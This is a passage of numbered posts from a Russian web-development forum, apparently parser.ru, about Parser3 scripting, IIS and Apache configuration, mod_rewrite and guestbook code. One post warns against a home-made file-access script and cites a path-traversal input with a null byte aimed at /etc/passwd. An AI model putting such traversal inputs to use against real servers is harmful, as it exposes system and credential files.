В IIS в свойствах созданного web-сайта есть три вкладки, которые нужно знать любому, кто работает с IIS:\
1. Web Site (кнопка Advanced позволяет изменить порт и Host Header Name для данного сайта - у тебя они видимо стоят 80 и localhost соответственно)\
2. Home Directory (в поле Local Path вводишь локальный путь к каталогу, где лежат файлы твоего сайта; для ленивых предусмотрена кнопка Browse :))\
3. Documents (здесь добавляешь файлы, которые должны открываться при обращении к http://localhost - можно писать \"index.html\", а можно и \"mySite/index.html\" - но это, во-первых, изврат, а во-вторых, неудобно - неправильно работают относительные ссылки (вернее они работают правильно, но не так как \"задумано\"):\
обращаешься http://localhost, откроется /mySite/index.html, но если в каталоге есть файл /mySite/1.gif, а в /mySite/index.html прописана такая строка <img src=\"1.gif\">, то картинка не отобразится, т.к. будет искаться не /mySite/1.gif, а /1.gif (которого нет)!)\
\
Короче выкладывать default-файл сайта не в корень сайта - это можно делать, но не нужно!!!!!\
\
P.S.: А виртуальные хосты это уже совсем другая история..."
"8555","Только путь лучше передавать не явно, т.е. передавать файлу admin.html, например, номер нужной страницы, а этот скрипт пусть сам определяет какой странице соответствует какой номер, определяет кому куда можно и нельзя, и делает редирект.\
\
Но на мой взгляд разграничение доступа к файлам с помощью парсера лучше не делать. Надёжнее использовать средства web-сервера и возможности файловой системы."
"8556","откуда взялись сквозные параметры тогда?\
достаточно одного session_id, и класс session где-то с ним будет ассоциировать то, что делают ^session:get[key], session:put[key;value]"
"8557","Наверняка можно обойти request, если в sections.cfg прописать вместо /news/ вот так: /news/index.html . У меня че-то и так не получается, а посмотреть хочется."
"8558","загнать какой-нибудь cookie для проверки прав доступа"
"8560","это непрактично совсем.\
\
представьте себе себя, оформляющим страницу download.\
в углу вы делаете приписку:\
[quote]\
вниманию пользователей getright/reget/...: перед скачиванием установите в менюшке ksjfksjdfk в пункте jsdfkjsdkfj cookie с именем sdfjksjfksjdf в значение 23874837457e8d7g8783476.\
[/quote]"
"8561","см. \"Я хотел спросить...\""
"8562","[code]\
=========================== gbook.p ===========================\
@CLASS\
gbook\
@load[admin_mode]\
$total[^string:sql{select count(*) from gbook}]\
$auth[^auth::load[]]\
$admin[^auth.is_logged[]]\
@show[per_page;offset]\
$nex[^table::sql{select \
	a.id,a.g_name,a.g_email,a.g_text,DATE_FORMAT(a.g_date,'%d.%m.%Y') as date,remote_ip,body \
	from gbook a left join gbook_reply b on a.id=b.id_message order by g_date DESC\
	}[$.limit($per_page) $.offset($offset)]]\
^nex.menu{^tbl:tab[<a href=\"mailto:$nex.g_email\" class=midhead>$nex.g_name ^if($admin){| $nex.remote_ip}</a> \
^if($admin==1){<a href=\"reply.html?id=$nex.id\">Reply</a>  <a href=\"?del=$nex.id\">Del</a>}\
;\
$buffer[^taint[html][$nex.g_text]]\
$buffer[^buffer.match[\\n][g]{<br />}]\
$buffer\
^if(def $nex.body){\
<table width=\"100%\" class=\"text\" cellpadding=\"0\" cellspacing=\"0\">\
<tr><td width=\"65\" align=\"right\" valign=\"top\">&nbsp^;</td><td bgcolor=\"#CDCDCD\" valign=\"top\"><b>Ответ :</b>&nbsp^;&nbsp^;</td><td bgcolor=\"#CDCDCD\" valign=\"top\">$nex.body</td></tr>\
</table>}\
;$nex.date]\
}\
===============================================================\
========================= pager.p ============================\
@CLASS\
pager\
#Usage :  per page ; total pages ; url to post\
@load[p_p;whole;post]\
$total[$whole]\
$per_page[$p_p]\
$pages[^math:ceiling($total/$per_page)]\
$url[$post]\
@show[current]\
^if(! def $current){$current[1]}\
$offset[^eval(($current-1)*$per_page)]\
\
$result[\
<table class=text><tr><td>Страниц : </td>\
^for[i](1;$pages){\
^if($current==$i){<td><b>[$i]</b> ></td>}{\
<td><a href=\"$url?page=$i\">[$i]</a>></td>\
}\
}\
</tr></table>\
]\
^if($per_page>=$total){$result[]}\
@getoffset[]\
^if(def $form:page){$page($form:page)}{$page[1]}\
$offset[^eval(($page-1)*$per_page)]\
$result[$offset]\
==============================================================\
========================== gbook.html ========================\
...\
\
$gb[^gbook::load[$cookie:logged]]\
$pag[^pager::load[5;$gb.total;/gbook/]]\
\
^pag.show[$form:page]\
\
^gb.show[$pag.per_page;^pag.getoffset[]]\
...\
==============================================================\
[/code]\
Это guestbook с пагером и ответами.\
Если нужен полный код(вставка, удаление и т.д.) можно с просьбой на мыло."
"8563","Я пытаюсь открыть страницу по ссылке\
[code]\
http://localhost/cgi-bin/parser3.exe/adm/index.html/index.html\
[/code]\
но страница не открывается, а выдается следующая ошибка\
[code]\
'c:/usr/home/site/www/adm/index.html/index.html' read failed: No such file or directory (2), actual filename 'c:/usr/home/site/www/adm/index.html/index.html' [file.missing]\
[/code]\
\
И я не понимаю в чем здесь проблема?"
"8564","[code]\
#!/usr/bin/perl\
print \"Content-type: text/html\\n\\n\";\
\
read(STDIN,$buffer,$ENV{'CONTENT_LENGTH'});\
$FileName=\"in.dat\";\
if(open(handle,\">>$FileName\")){\
	print handle $buffer;\
	close(handle);\
}\
[/code]"
"8565","Почему, после submit'а формы IIS пишет что не может отобразить страницу:\
Не удается отобразить требуемую страницу \
Запрошенную страницу нельзя вывести на экран, так как ее адрес указан неправильно.  \
\
--------------------------------------------------------------------------------\
\
Попробуйте выполнить следующее:\
\
Убедитесь, что адрес страницы введен в строку адреса без ошибок.\
\
Откройте localhost домашнюю страницу и поищите на ней ссылки на интересующие вас сведения. \
Ошибка HTTP 405 - Недопустимый ресурс\
Internet Information Services\
\
--------------------------------------------------------------------------------\
\
Технические сведения (для сотрудников службы поддержки)\
\
Дополнительные сведения:\
Веб-узел поддержки корпорации Майкрософт \
 \
Я делаю так: пишу в самом хтмл'е после формы :\
^if(def $form:posted){  #posted - имя кнопки субмита\
You have clicked on SUBMIT\
}\
Собственно после этого мне идет вышесказанное. Как сделать так, чтобы было видно строку \"You have clicked on SUBMIT\""
"8566","в CVS лежит версия, в которой есть $request:body\
скоро выйдет официально.\
\
пока предлагаю почитать http://xmlrpc.org"
"8567","это известная проблема IIS, ему нельзя делать POST на xxx/ страницу, необходимо на xxx/index.html"
"8570","А то я тоже с этим столкнулся, а решения не нашел... Не очень хочется редактировать код - много очень..."
"8571","В menu.cfg напиши в поле uri:\
/news/index.html\
\
$myMenu[^table::load[/menu.cfg]]\
^if($myMenu.uri eq $request:uri){\
 не делать ссылкой\
}{\
 выводить в виде ссылки\
}\
\
А обращаться можно как через /news/ (только в IIS надо на каталог задать имя файла по умолчанию index.html), так и /news/index.html\
\
На IIS такая конструкция работает 100% - сам проверял."
"8572","Здравствйуте.\
Как такое может біть:\
устанавливал Р3 по науке (по erg) -- не работает (500 или анхандлед).\
\
Сделал по своему -- банально переписал Р3 в сги-бин, кдалил все конфиг файлы и кодировки -- Работает! \
\
Удивительно."
"8573","Заранее спасибо!"
"8574","с кодировками, и с драйверами для БД"
"8575","ELF - первые символы любого бинарного файла под линукс, так же как MZ - первые буквы любого екзешника под виндовс, просматриваемого в текством виде. То есть ты так настроил сервер, что он не исполняет parser3.cgi, а выдаёт его в текстовом виде...\
"
"8577","Но ведь по Вашему не фунциклирует!"
"8578","то, что используя $request:body можно написать свой xmlrpc сервер. использовать его потом из javascript/flash/..."
"8579","я ее понятьне могу:\
первый пост:\
www.domain.ru/cgi-bin/parser.exe/admin.html/далее сюда должен передаваться путь до страниц\
\
последний пост:\
http://localhost/cgi-bin/parser3.exe/adm/index.html/index.html\
\
/admin.html куда-то таинственным образом испарился, зато появилось что-то другое.\
\
почитай про возможности mod_rewrite, сформулируй задачу. если после этого еще не сможешь ее решить - то пиши формулировку сюда - помогут (обычно после нормальной формулировки задачи решение становится очевидным, если известен инструментарий)\
\
а пытаться догадаться что нужно, писать одно для одного случая, другое - для другого мне некогда."
"8580","Если бы почитал, что пишет в debug парсер при Unhandled error - понял, что к чему и как."
"8582","Я вот и говорю, пока конфиг-файл не кидаю, он Unhandled Exception выдает, а когда auto.p положишь - тут же ELF."
"8583","nkostya, вы не понимаете по ключевым словам [совсем не хотите думать, и хотите, чтобы разжевали].\
\
разжёвываю:\
\
вам не нужны такие ссылки, вам совершенно всё равно, какого вида ссылки. вам важно лишь, чтобы работала авторизация через ваш код.\
\
как проверить доступ и отдать файл, я уже написал [http://parser.ru/forum/?id=8533].\
\
а ссылка при этом может быть любой, например, такой:\
http://site/download/?name=имя\
\
в странице /download/index.html вы и напишете приведённый мной ранее код [http://parser.ru/forum/?id=8533].\
\
как я понял, вы заботитесь о имени файла, под которым пользователю предложат его записать.\
\
совершенно очевидно, что вы не почитали стандартов, и [b]даже не попробовали предложенный мной двухстрочный код[/b]. \
специально для вас сообщаю, что такой [http://parser.ru/forum/?id=8533] механизм отдаст [b]правильное имя файла[/b], и это [b]не страшно[/b], что ссылка не имеет на конце [i]/имя_файла[/i].\
\
отдельное замечание: не забудьте хранить файлы за пределами веб-пространства, чтобы их нельзя было укачать, угадав путь."
"8584","http://www.parser.ru/forum/?id=8126"
"8585","Выражаю свою благадарность:\
PAF\
Agat\
Sergei\
Вы мне все очень здорово помогли!\
\
Но теперь возникла еще одна проблема. В ГЛАВНОМ auto.p прописал, что connect-string у меня mysql://user:pwd@localhost/p3test\
\
Но что-то парсер постоянно выдает Unhandled. Ничего не понимаю. Хелпы читал, в директории lib положил dll, но все четно..."
"8587","георгий, на время отладки в том auto.p, что в cgi-bin поменяйте так:\
[code]\
@unhandled_exception[exception;stack]\
#было\
#^unhandled_exception_relese[$exception;$stack]\
#стало\
^unhandled_exception_debug[$exception;$stack]\
[/code]\
и посмотрите, что он вам говорит, раз уж вы не знаете, где у вашего собственного сервера журнал ошибок :("
"8588","Это тоже идея, но разве будет удобно хранить некоторые html страницы с определенными данными за пределами сайта?"
"8589","Мне нужно, чтобы по средствам mod_rewrite или чего-нибудь другого пользователю, зашедшему по адресу http://www.domain.ru/путь/страница выдавалась страница по адресу http://www.domain.ru/adm/auth/index.html?file=/путь/страница или может быть файл. Где обрабатывалась доступность пользователем получить данный файл!\
\
"
"8590","В корневом auto.p прописать макрос авторизации, который и будет проверять может все, что тебе нужно, и выдавать пользователю либо нормальный шаблон, либо сообщение об ошибке."
"8592","не страницы, а данные, которые предполагается этой страницей отдавать.\
\
костя, вы читаете письма, или только проглядываете их? я и пример, и разжевал. эффект 0."
"8593","описания mod_rewrite?\
\
это как раз то, что он делает. и делается это максимум тремя строчками в .htaccess\
первая строчка собственно включает mod_rewrite...\
далее читай.\
"
"8594","Создаёшь файл admin.html примерно такого содержания. На самом деле лучше загнать номера и соответствующие им URL в таблицу.\
[code]\
@main[]\
\
^switch[$request:query]{ \
   ^case[1]{$response:location[http://www.parser.ru]} \
   ^case[2]{$response:location[http://www.parser.ru/forum]} \
   ^case[5]{$response:location[http://www.parser.ru/faq]}                    \
   ^case[DEFAULT]{$response:location[http://www.ru]} \
} \
[/code]\
\
Только я здесь совсем упростил, нужно перед тем как делать редирект поспрошать пользователя \"хто такой, куда идёт и можно ли ему туда?\" (но это отдельный разговор). Если не можно послать его по тому адресу, который прописывается в DEFAULT.\
\
Вызывать можно так:\
admin.html?1\
admin.html?2\
admin.html?5\
отправит соответственно на http://www.parser.ru, http://www.parser.ru/forum, http://www.parser.ru/faq\
\
А всё остальное:\
admin.html?3\
admin.html?ваапвап\
admin.html\
коректно пошлёт на www.ru\
\
И при таком способе имена страниц \"светиться\" не будут для тех кому они не положены!\
"
"8596","Естественно я их читаю просто при создании такой конструкции получется, что в корневом коталоге будет находится одна страница, а все другие будут за пределом сайта.\
\
А я хочу, чтобы УРЛ пользователя перехватывался и обрабатывался с помощью страницы, допустим /admin.html?file=... а как это сделать я не знаю.\
\
Предложили с помощью mod_rewrite, а можно привести пример, т.е. сам код, который я должен вставить в http.conf?"
"8598","вы говорили о файлах. под файлом я подразумеваю .zip, .pdf\
есть термин «страница».\
\
то, что хотите, делается через mod_rewrite, если вы хотите, чтобы за вас писали и его правила тоже, и не хотите читать его документацию, я не могу вам помочь."
"8600","и я не хочу, что бы за меня писали, я просто хочу знать - будет ли это правильной конструкцией, нельзя ли будет ее обойти и будет ли этот код работать быстрее, чем какой-нибудь другой, если таков имеется?\
\
Спасибо Вам за ваше терпени!"
"8602","Люди помогите разобраться.\
Всё перепробовал и Internal Server Error выходило и многое другое. А теперь появилась вот такая ошибка:\
\"parser already configured\
conf\
g:/www/auto.p(1)\
exception.type=parser.runtime\".\
\
Кстати у меня апачи_1_3_6 на виндовозе 98se. "
"8603","Я могу как-нибудь с помощью Парсера узнать в каком часовом поясе находится пользователь?"
"8604","С помощью парсера это более невозможно, чем возможно. ;-) Это лучше делать с помощью JavaScript'а. Для правильных результатов у пользователя должен быть установлен правильный часовой пояс в настройках ОС. "
"8605","В win2k -- может быть, но win98 создаст тебе .htaccess.txt -- даже если выставить *.*\
тут вообще, похоже, блокнот корректно сохранит не-txt только если расширение -- .htm или .html\
\
а если попытаться создать, к примеру 555.dat -- он тоже сохранит его как 555.dat.txt...\
\
хоть ты тресни... :)\
\
(проверено электроникой) :)"
"8606","В win98 не помню можно или нет - поэтому спорить не буду. Сам не проверял и проверять не буду (нету у меня под рукой ниодной машины с win98!!!)\
А если блокнот не позволяет в win98, то надо использовать dos-команду переименовать (должно работать)! Или на крайний случай какой-нибудь VolkoFF-Commander (2 файла на пол дискеты записать и применять в экстренных случаях в Интернет-кафе, где FAR или WinCMD нету:)))"
"8608","если вы положите\
/access.html\
через который будет идти обращение к secret.html, по адресу /access.html?file=/info.html\
то да, будет дыряво.\
\
поскольку добрые люди передадут вам file=/../../etc/passwd%00.html\
и будет сильно плохо.\
\
если вы начнёте сами проверять такие ситуации, вы можете ошибиться и все-таки отдать системный файл.\
\
собственно, поэтому все настойчиво вам предлагают не пользоваться доморощенной защитой, а пользоваться проверенной встроенной.\
\
если же всё же настаиваете на самопальной, начинается обычная борьба пушки с бронёй.\
\
вариант: хранить все секретные файлы на диске под именами\
/secret/_info.html\
/webspace/access.html\
\
и по обращению к /access.html?file=/info.html читать файл /../secret/_info.html\
\
тогда что бы вам не передали, вы потом добавите подчерк к имени, и не считаете системный файл.\
\
но, как вы понимаете, тут можно ошибиться, а то и придумать, как и это обойти.\
\
даю ключевое слово: mod_mysql_auth. и отключаюсь от этого обсуждения, терпение не бесконечно."
"8609","Тут, в Турции мне задали один хитрый вопрос : какова реальность работы Parser'а с PHP+ASP на WinXP+[IIS | Apache]? Сначала я растерялся, т.к. не знал, возможно ли это. Потом сел, подумал : мне кажется, что это вполне возможно. PHP будет обрабатывать .php файлы, ASP в свою очередь .asp, а \"наш\" Parser - .html. Конечно, взаимодействовать, передавать друг другу переменные эти файлы на сервере может и не смогут, но по отдельности, мне кажется, все будет работать на ура! Вы спросите : а зачем все это, когда можно использовать только Parser и все и так будет на УРА!? Отвечу. А если у меня уже есть готовые модули, расписаные на ASP и PHP? Все заново переписывать? Или, как в моем случае, здесь Parser знаю только я, остальные пишут на ASP и PHP. Я пишу на Parser'e. Как нам разделить работу?! Писать на чем либо другом, после того, как я познал Parser, я категорически отказываюсь. А так - хоп! и тишина...все работает...Разве нет?"
"8610","Работать то будет, но есть несколько но:\
\
1. Приготовься несколько раз одно и тоже ибо если ты хочешь чтобы дизайн и логика сайта были одинаковыми вне зависимости от типа страниц, тебе придется иметь столько одинаковых по сути шаблонов, сколько ты используешь разных технологий и соответственно при изменении этих шаблонов, тебе придется делать одно и тоже несколько раз.\
\
2. Для разделения работы используй XML тем паче что с XML не только парсер может работать\
\
3. Лучше один день потерять, зато потом за 5 минут долететь :)"
"8611","Книжку по XML мне прислали из Москвы 3 дня назад...(ну..и все вытекающие отсюда последствия..:)..)...как я писАл до этого - здесь таких \"книгей\" нет. Но за совет спасибо - я не учел возможности XML(по незнанию, наверное..:)..)"
"8612","MySQL я поставил, новости работают, а гостевуха выдает alert: \
inetinfo.exe - исключение unknown software exception (0xc00000fd) в приложении по адресу 0x77fca07a\
\"ok\" - завершение приложения\
                        ___________\
                        |___OK____|"
"8613","Если новости из БД выводятся, то ищи ошибку в коде гостевухи!!!\
(SELECT у тебя из одной таблицы четко работает - значит парсер, сам MySQL, web-сервер и драйвера БД всё четко отрабатывают => глюк в коде)\
\
Ошибка возникает когда пытаешься просматривать записи \"гостей\" или когда начинаешь добавлять новое сообщение???\
Там либо у тебя SQL-запрос неправильно написан, либо для пользователя MySQL, через которого ты подключаешься к базе привелегии неправильно заданы (например, ему разрешено делать из таблицы гостевой книги только SELECT, а ты пытаешься добавить новую запись в таблицу или сделать обновление).\
\
P.S.: Можешь кинуть код скрипта и структуру таблцы мне на мыло (будет время посмотрю)"
"8614","http://www.onlineakademi.com\
\
Сайт пока на тестировании."
"8616","[quote]kars?layabilirse[/quote]\
что за '?' посереди слова?\
\
"
"8621","И это касается не только &nbsp; а всех ентитей..."
"8622","но я же не дизайнер!? Я программист. И то, что моей фантазии хватило на это - уже +..:))))))"
"8623","по дизайну: ноль. полное отсутствие графики.\
\
и вот что я поимел, нажав на форум:\
--------------------------------------\
Unhandled Exception (Debug)\
(void) not a method or junction, can not call it\
top_nav\
\
D:/webler/onlineakademi/auto.p(205)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
body D:/webler/onlineakademi/auto.p(15)\
connect D:/webler/onlineakademi/classes/mysql.p(15)\
server D:/webler/onlineakademi/auto.p(12)\
"
"8624","vo pervih : otsutstvie grafiki sposobstvuyet bistromu funktsionirovaniyu sayta, i potom - vse genialnoe - prosto...\
\
Na schet oshibki - ya tut peregruzhal auto.p - vidat ti popal kak raz na etot moment - seychas tam vse v poryadke..."
"8625","нежели чем банальная графика типа http://www.nbsp.ru/ или http://www.webdiary.ru/"
"8628","некоторые рисунки кэшируются ^cache'ем. И помоему, поэтому, они не открываются. Может мне не стоит их кэшировать?"
"8629","или ты может непризнанный гений дизайна?"
"8631","и где ты слышал что я сказал что я дизайнер?"
"8632","В сааамом низу, мееееленькими такими буквочками:\
\
HTTP/1.1 500 Server Error Server: Microsoft-IIS/5.0 Date: Fri, 25 Oct 2002 11:50:39 GMT Content-Type: text/html Content-Length: 44 -2147417842 (0x8001010e)\
\
Че навернулось то?\
А в сырцах-то как интересно это дело выглядит! ;-)"
"8635","Дык ты в следующий раз тихо мирно пошли ссылочку на mailbox@design.ru с просьбой добавить сайт в раздел  [b]В действии[/b]"
"8637","IMHO помидоры - это хорошо. Просто не нужно их близко к сердцу принимать. А вообще дельных советов днем с огнем не сыщешь...\
\
Поэтому, Вот."
"8639","Я примерно на это и расчитывал. По другому мне бы на мои ошибки никто не показал. :))) А в раздел \"В действии\" меня добавлять не стоит - сайт дилетанский, в пример не поставить(мне кажется..:))..)"
"8641","Может Это уже в 9009 раз обсуждается, но что-то не понятно из документации (вернее все просто, но... (((()На Win-32 под IIS все OK!Сделал следующее\
1)Положил parser3.cgi в каталог cgi-bin (проверил именно этот каталог прописан в hpptd.conf)\
2) Cоздал файл .htaccess \
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
Положил его (не совсем понял куда) туда же где директория cgi-bin\
Команду (CharsetDisable On) добавлял убирал, до нее не доходит.\
3)в cgi-bin положил каталоги с файлами (charters и lib) и auto.p\
Остальное (SQL драйвера потом), уже сейчас ничего не пашет, такое впечатление что вообще ничего не делал (никакого сообщения), попробовал вызвит ^navigation - в html,отображается да и все, нет никакого парсера. Может я чего не понимаю или пропустил, я не поклонник Линукс, чтение истории форума особо ничего не дало.\
\
\
"
"8643","Как интелегентный человек читаю доку:\
УРОК 1 - все работает, просто прелесть\
УРОК 2 - при добавлении в корневой auto.p\
@main[]\
^header[]\
^body[]\
^footer[]\
и соответсвенно в index.html\
@greeting[]\
Добро пожаловать\
@body_additional[]\
Главная страница\
@body_main[]\
Основное содержание\
.....выдается ошибка в браузере\
\
 Unhandled Exception (Debug)\
z:/home/parsertest/www/index.html (3:1):parse error, expecting `$'\
exception.type=parser.compile\
\
#код весь сверил с докой. Может кто-нибудь сталкивался с таким?\
#Подскажите что делать!!!!!!!!Плиз"
"8644","...обработка .htaccess\
простейшая проверка: пишешь в твой .htaccess какоей-нить \"bred\" и если не видишь 500 ошибки после перегрузки страницы - идешь читать доку по апачу... ключевое слово я привел в заголовке сообщения..."
"8645","раз пошла такая пьянка, доставайте остатки помидоров :)))\
\
http://misha.design.ru/coctail/\
\
комментарии по ходу:\
- делал для себя. соответственно использую сам.\
- данные актуальные, и база постепенно пополняется... ик... %-)\
- половину конечно не увидите (механизмы редактирования), ибо прав не будет у вас необходимых :)\
- с отключеными куками можно не ходить, регистрация/авторизация работать не будет. :)\
- те, кто любит смотреть картинки - может не ходить, их там нету, как впрочем и вообще оформления :)\
- знаю, что картинки со стаканами отстой, рисовать не умею, просто отсканировал и малость обработал :)\
- какая-то беда с Phoenix, так-же не все выглядит красиво в опере (она стили кнопок понимает очень погано в том числе, и закладки с перегрузками только...). Как выглядит на маке в експлорере - не знаю, не смотрел, делал для Mozilla/IE (PC)\
\
а так мож кто увидит для себя шо интересное или мне посоветует что..."
"8647","[о заголовках я уже писал, ещё немного и письма с такими заголовками начну стирать не читая]\
\
о \"добавлении\". ваш код получился такой: [читаю сквозь расстояния, поскольку вы сами не удосужились привести его целиком]\
\
[code]\
^какой-то[]\
$код[тут]\
\
а потом\
@greeting[]\
…\
[/code]\
\
так нельзя. нужно или всё писать без определения методов [получится большое такое определение метода main, в доке подробно расписано, почитайте].\
или всё с методами.\
\
измените свой код на такой:\
\
[code]\
@my_needless_unused_code[]\
^какой-то[]\
$код[тут]\
\
а потом\
@greeting[]\
…\
[/code]\
\
заработает"
"8649","добавь в @postprocess[] замену твоего &nbsp на &nbsp^; - в одном месте написать-то..."
"8652","Хочу поставить сайт на h1.ru. Там стоит FreeBSD. Сделал все по докам - 500 error. Правда там у них cgi-bin прописан как cgi, но они говорят, что надо везде писАть cgi-bin. Я так и делаю. И всеравно 500 error. Проверил, как советовали, с bla-bla-bla в .htaccess - тоже 500 error. Где собака?"
"8654","если-бы я знал про h1.ru я тебе ответил-бы когда ты это спрашивал."
"8655","Opera 6.05 - есть глюки с кнопками\
Феникс 0.3 - очень хорошо(кнопки нормально)\
(уже передают спасибо за ресурс) :)\
Мозила - то же\
Ишак - толстая горизонтальная граница(кнопки нормально)\
(опять санксы)\
В Линуксе(Мозила/Феникс) - все классно"
"8656","-ОПЕРА. если кто-нить знает, как можно стилями расскрасить <input type=\"button\" />, <input type=\"submit\" /> или <button /> в опере и соообщит мне - буду благодярен за информацию.\
\
-ФЕНИКС. Он как-то не правильно передает в GET параметры (у меня не работает). Тыкнись в кнопку с русской буквой и получишь \"Не найдено ни одного...\", хотя если посмотреть адрес нижнего фрейма - там видно, что параметры пришли, что они заекодены... Та-же фигня и с мозилой, если не найтроены ее параметры в Languages. Хотя возможно дело в парсере... надо поэкспериментировать будет...\
\
- ИШАК? А что это?\
и что за полоска? Если между фреймами, то так и задумывалось :) это почему-то движек мозиллы не показывает ее нужной толщины...\
"
"8657","Как можно придать одно и то же значение нескольким переменным сразу?\
Мне, например, надо после выполнения функции (оператора) об'NULL'ить все значения. Пока единственный способ, который работает это --\
[code]\
$a[]\
$b[]\
$c[]\
$d[]\
[/code]\
или\
[code]\
$a[]$b[]$c[]$d[]\
[/code]\
\
и т.д., до бесконечности\
а можно ли сделать что-то по типу массового заявления (как в CSS -- H1,H2,H3,H4,H5,H6{color:red;}), вроде:\
\
[code]\
$a,$b,$c,$d[]\
[/code]\
\
???\
этот пример -- не работает (сам проверял) :)\
\
"
"8658","Первый Нетскейп выдает 404\
Второй -- кучу окошек с сообщением об ошибке сначала -- что tabInitialize is not defined, потом -- executeLetter is not defined, чего и следовало ожидать -- воротит нос, гад, от нонешнего JS'а...\
Но потом, все-таки, нижний фрейм показывает, как бы нехотя...\
в Третьем -- та же фигня, но сообщений об ошибке JS -- больше раз в пятьдесят...\
Но тоже показывает.\
\
Только, что в 2, что в 3 -- верхняя строка показана так: алфавитныйпоискрасширеныйпоисккомпонентыавторизация\
и окна не хотИт открывать...\
:)\
\
а в Lynx (подВиндозном) -- все путем... :)\
только альты картиночные со строками сливаются... :(\
может их отбить рамочкой какой-нить вроде [Высокий стакан] или (высокий стакан)?\
\
А то как в классическом примере -- picture of a bull canoeing... ;)\
\
А вообще -- классно, так сказать...\
главное не ФОРМА стакана -- главное -- СОДЕРЖИМОЕ :)))"
"8660","params -- таблица с названиями переменных. \
Можно попробовать \
^params.menu{\
${$params.param}[]\
}\
По идеи должно вроде работать. ;-) \
\
Или можно использовать не переменные, а hash, тогда для обнуления нужно обнулить только hash (создать заново). "
"8661","..., по базе данных и по запросам. ;-) \
\
См. [url=\"http://www.artlebedev.ru/pr/release_98.html\"]Про фототеку Студии Лебедева[/url]."
"8662","правда :(\
Опера не хочет нормально кнопки рисовать, может картинку кинуть?\
И Феникс на русских буквах глючит\
\
А ишак - IE(произнеси вслух :) )\
про границу не знал, может ее убрать а показывать <hr>?"
"8663","такие конструкции просто не писать. По определению, если $a раньше не встречалась, то она undef или пустая строка. А массовое прописывание ненулевых значений говорит лишь о неправильно выбранной системе координат."
"8664","Все равно ничего не работает:(\
Больше ничего не днадо настраивать для баз данных?"
"8665","Если нужно именно обнулить ненулевые, возможно есть смысл определить их логальными внутри некоторого метода/класса - при повторном вызове сами обнулятся."
"8666","если говорить точнее, то скорее всего сделаю заглушку, шоб ваще посылали с ними :)"
"8667","...я заставил работать формы в этих броузерах...\
\
Проблема была в том, что они при передаче параметров формы эти броузеры энкодят их по умолчанию в UTF-8...\
\
Если в настройках выбрать другой язык то все работает нормально (именно это наблюдается в случае с Mozilla и Netscape >6). Но в случае с Phoenix и K-meleon - таковые настройки у броузера отсутствуют.\
\
Однако после добавления к тегу <form> атрибута\
accept-charset=\"$response:charset\" все стало работать - я броузеру прямо говорю, как кодировать. \
\
В общем дока в очередной раз рулит :)"
"8668","Конечно, спасибо ОГРОМНОЕ, Евгений.\
А как дальше поступать? Выборку из базы как проводить?\
Если бы по две переменные было бы, я бы еще догнал как нить...\
но когда одна... :( тупой, что еще скажешь! :)"
"8669","не надо километровых кодов, пожалуйста\
алгоритм дорубить не могу... :("
"8671","Оки\
\
А как обеспечит доступ?"
"8672","просто я для удобства (и практики с пользовательскими операторами) решил выработать свой собственный МаркАп, например:\
\
[code]\
@tab[wth;ht;clsp;clpad;brd;bgcol;aln;bgr]\
^if(def $wth){$w[ WIDTH=$wth]}{}\
^if(def $ht){$h[ HEIGHT=$ht]}{}\
^if(def $clpad){$cp[ CELLPADDING=$clpad]}{}\
^if(def $clsp){$cs[ CELLSPACING=${clsp}]}{}\
^if(def $brd){$br[ BORDER=$brd]}{}\
^if(def $bgcol){$bc[ BGCOLOR=$bgcol]}{}\
^if(def $aln){$a[ ALIGN=$aln]}{}\
^if(def $bgr){$bg[ BACKGROUND=$bgr]}{}\
<TABLE${w}${h}${cp}${cs}${br}${bc}${a}${bg}>$w[]$h[]$cp[]$cs[]$br[]$bc[]$a[]$bg[]\
\
@tr[bgcol;class;aln;vln]\
^if(def $bgcol){$bc[ BGCOLOR=$bgcol]}{}\
^if(def $class){$cl[ CLASS=$class]}{}\
^if(def $aln){$a[ ALIGN=$aln]}{}\
^if(def $vln){$v[ VALIGN=$vln]}{}\
<TR${bc}${cl}${a}${v}>$bc[]$cl[]$a[]$v[]\
\
@td[wth;ht;bgcol;class;aln;vln;cols;rows]\
^if(def $wth){$w[ WIDTH=$wth]}{}\
^if(def $ht){$h[ HEIGHT=$ht]}{}\
^if(def $bgcol){$bc[ BGCOLOR=$bgcol]}{}\
^if(def $class){$cl[ CLASS=$class]}{}\
^if(def $aln){$a[ ALIGN=$aln]}{}\
^if(def $vln){$v[ VALIGN=$vln]}{}\
^if(def $cols){$cs[ COLSPAN=$cols]}{}\
^if(def $rows){$rs[ ROWSPAN=${rows}]}{}\
<TD${w}${h}${bc}${cl}${a}${v}${cs}${rs}>$w[]$h[]$bc[]$cl[]$a[]$v[]$cs[]$rs[]\
[/code]\
\
но если не обNULLять значения -- то будут прописываться старые -- из предыдущих тэгов... :( -- они же все [i]глобальные[/i]...\
поэтому так надо ..."
"8673","если в одной таблице был прописан параметр HEIGHT, а потом не был обNULLён -- а в следующей не был прописан вообще, то он \"наследуется\""
"8674","Делаешь переменные локальными, и никаких проблем :)\
Как всегда RTFM: http://www.parser.ru/docs/lang/definemethod.htm\
\
[code]\
@tab[wth;ht;clsp;clpad;brd;bgcol;aln;bgr][w;h;cp;cs;br;bc;a;bg]\
^if(def $wth){$w[ WIDTH=$wth]}{}\
^if(def $ht){$h[ HEIGHT=$ht]}{}\
^if(def $clpad){$cp[ CELLPADDING=$clpad]}{}\
^if(def $clsp){$cs[ CELLSPACING=${clsp}]}{}\
^if(def $brd){$br[ BORDER=$brd]}{}\
^if(def $bgcol){$bc[ BGCOLOR=$bgcol]}{}\
^if(def $aln){$a[ ALIGN=$aln]}{}\
^if(def $bgr){$bg[ BACKGROUND=$bgr]}{}\
<TABLE${w}${h}${cp}${cs}${br}${bc}${a}${bg}>$w[]$h[]$cp[]$cs[]$br[]$bc[]$a[]$bg[]\
[/code]\
\
"
"8677","А вообще рабочий пример, вот:\
http://www.spearance.tura.ru/parser3/scroller"
"8678","надо выводить внитри текста список\
сам текст поступакет в базу из textaera, перед выдачей матчится на предмет кавычек, тире, абзацев и прочего.\
пока списки приходиться писать ручками в textarea:\
<ul><li>some_text1\
<li>some_text2\
et c.</ul>\
можно как-то это упростить?"
"8679","А если попробовать нечто, вроде:\
\
[code]\
#текст в TEXTAREA:\
\
*Item 1*\
*Item 2*\
*Item 3*\
\
[/code]\
\
и в коде:\
\
[code]\
^textarea.match[\\n\\n*][g]{<UL><LI>}\
